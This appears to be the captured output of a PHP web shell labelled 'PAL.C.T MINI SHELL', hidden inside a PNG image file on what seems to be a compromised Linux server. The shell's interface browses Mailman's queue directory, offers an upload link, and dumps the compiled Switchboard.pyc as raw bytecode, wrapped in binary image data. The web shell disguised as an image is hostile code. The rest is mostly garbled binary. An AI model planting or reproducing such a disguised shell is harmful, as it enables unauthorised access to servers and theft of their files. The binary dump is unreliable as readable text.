php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Queue/
upload
files >> //usr/lib/mailman/Mailman/Queue/Switchboard.pyc

Pc@sdZddkZddkZddkZddkZddkZddkZddklZddkl	Z	ddkl
Z
ddklZddk
lZdZyeefWnej
od	Zd
ZnXeZdZdZd
ddYZdS(s:Reading and writing message objects and message metadata.
iN(tmm_cfg(tUtils(tMessage(tsyslog(tsha_newliig-C6?itSwitchboardcBsYeZd	dedZdZhdZdZedZddZ	dZ
RS(
ic	Cs||_tid}zMyti|idWn/tj
o#}|itijoqdnXWdti|Xd|_d|_	|djo6t
d|||_t
d|d|d|_	n|o|indS(Niii(t_Switchboard__whichqtostumasktmkdirtOSErrorterrnotEEXISTtNonet_Switchboard__lowert_Switchboard__uppertshamaxtrecover_backup_files(tselftwhichqtslicet	numslicestrecovertomaskte((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Switchboard.pyt__init__Js 			
!cCs|iS(N(R(R((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Switchboard.pyR`scKs|i}|i||idd}ti}to-|idod}ti||}nd}tit||}|||
}	|id|}
|

dt	|	i
}tii
|i|d}|d	}
ti|d
<x/|iD]!}|ido||=qqW|dj|d<tid
}zbt|
d}zA|i|ti||||iti|iWd|iXWdti|Xti|
||S(Ntlistnames
--nolist--t
_plaintextiit
received_timet+s.pcks.tmptversiont_t	_parsemsgitw(tcopytupdatetgetttimetSAVE_MSGS_AS_PICKLEStcPickletdumpststrt
setdefaultRt	hexdigestRtpathtjoinRRtQFILE_SCHEMA_VERSIONtkeyst
startswithRtopentwritetdumptflushtfsynctfilenotclosetrename(Rt_msgt	_metadatat_kwstdataRtnowtprotocoltmsgsavethashfoodtrcvtimetfilebasetfilenamettmpfiletkRtfp((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Switchboard.pytenqueuecs@





cCstii|i|d}tii|i|d}t|}ti||z"ti|}ti|}Wd|iX|i	dot
i|ti}n||fS(Ns.pcks.bakR (
RR,R-RR1R8R'tloadR7R$temailtmessage_from_stringR(RRBRCtbackfileRFtmsgR<((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Switchboard.pytdequeuescCstii|i|d}y|otiiti|d}tid}zMytitidWn/tj
o#}|i	t	i
joqnXWdti|Xti||nti|Wn%t
j
o}tdd|nXdS(Ns.baks.psviiterrors)Failed to unlink/preserve backup file: %s(RR,R-RRtBADQUEUE_DIRRR	R
RRR8tunlinktEnvironmentErrorR(RRBtpreservetbakfiletpsvfileRR((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Switchboard.pytfinishs"	s.pckcCsh}|i}|i}xti|iD]}tii|\}}||joq+n|id\}}	|djp'|t	|	djo
|jno<t
|}
x|i|
o|
t7}
qW|||
<q+q+W|i
}|ig}|D]}
|||
q~S(NRi(RRRtlistdirRR,tsplitexttsplitR
tlongtfloatthas_keytDELTAR/tsort(Rt	extensionttimestlowertuppertfRBtexttwhentdigesttkeyR/t_[1]RE((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Switchboard.pytfiless$		
4
c
Csx|idD]}tii|i|d}tii|i|d}t|d}z=y.ti|}|i}ti|}Wn?t	j
o3}t
ddd|||i|dtnX|i
dd	d
|d<|i||ido
d	}	nd
}	ti|||	|i|iti|i|dtjo't
dd||i|dtnti||Wd|iXqWdS(
Ns.baks.pcksrb+RNsUnpickling .bak exception: %s
spreserving file: %sRRt
_bak_countiiR s(.bak file max count, preserving file: %s(RhRR,R-RR1R'RHttellt	ExceptionRRUtTrueR*tseekR$R3ttruncateR4R5R6t
MAX_BAK_COUNTR8R7(
RRBtsrctdstRFRLtdata_posR<tsR>((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Switchboard.pyRs<	



N(t__name__t
__module__R
tFalseRRRGRMRURhR(((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Switchboard.pyRIs	2	((t__doc__RR%RIRR'tmarshaltMailmanRRRtMailman.Logging.SyslogRt
Mailman.UtilsRRRlRvt	NameErrorR&R\RoR(((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Switchboard.pyt<module>s*
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`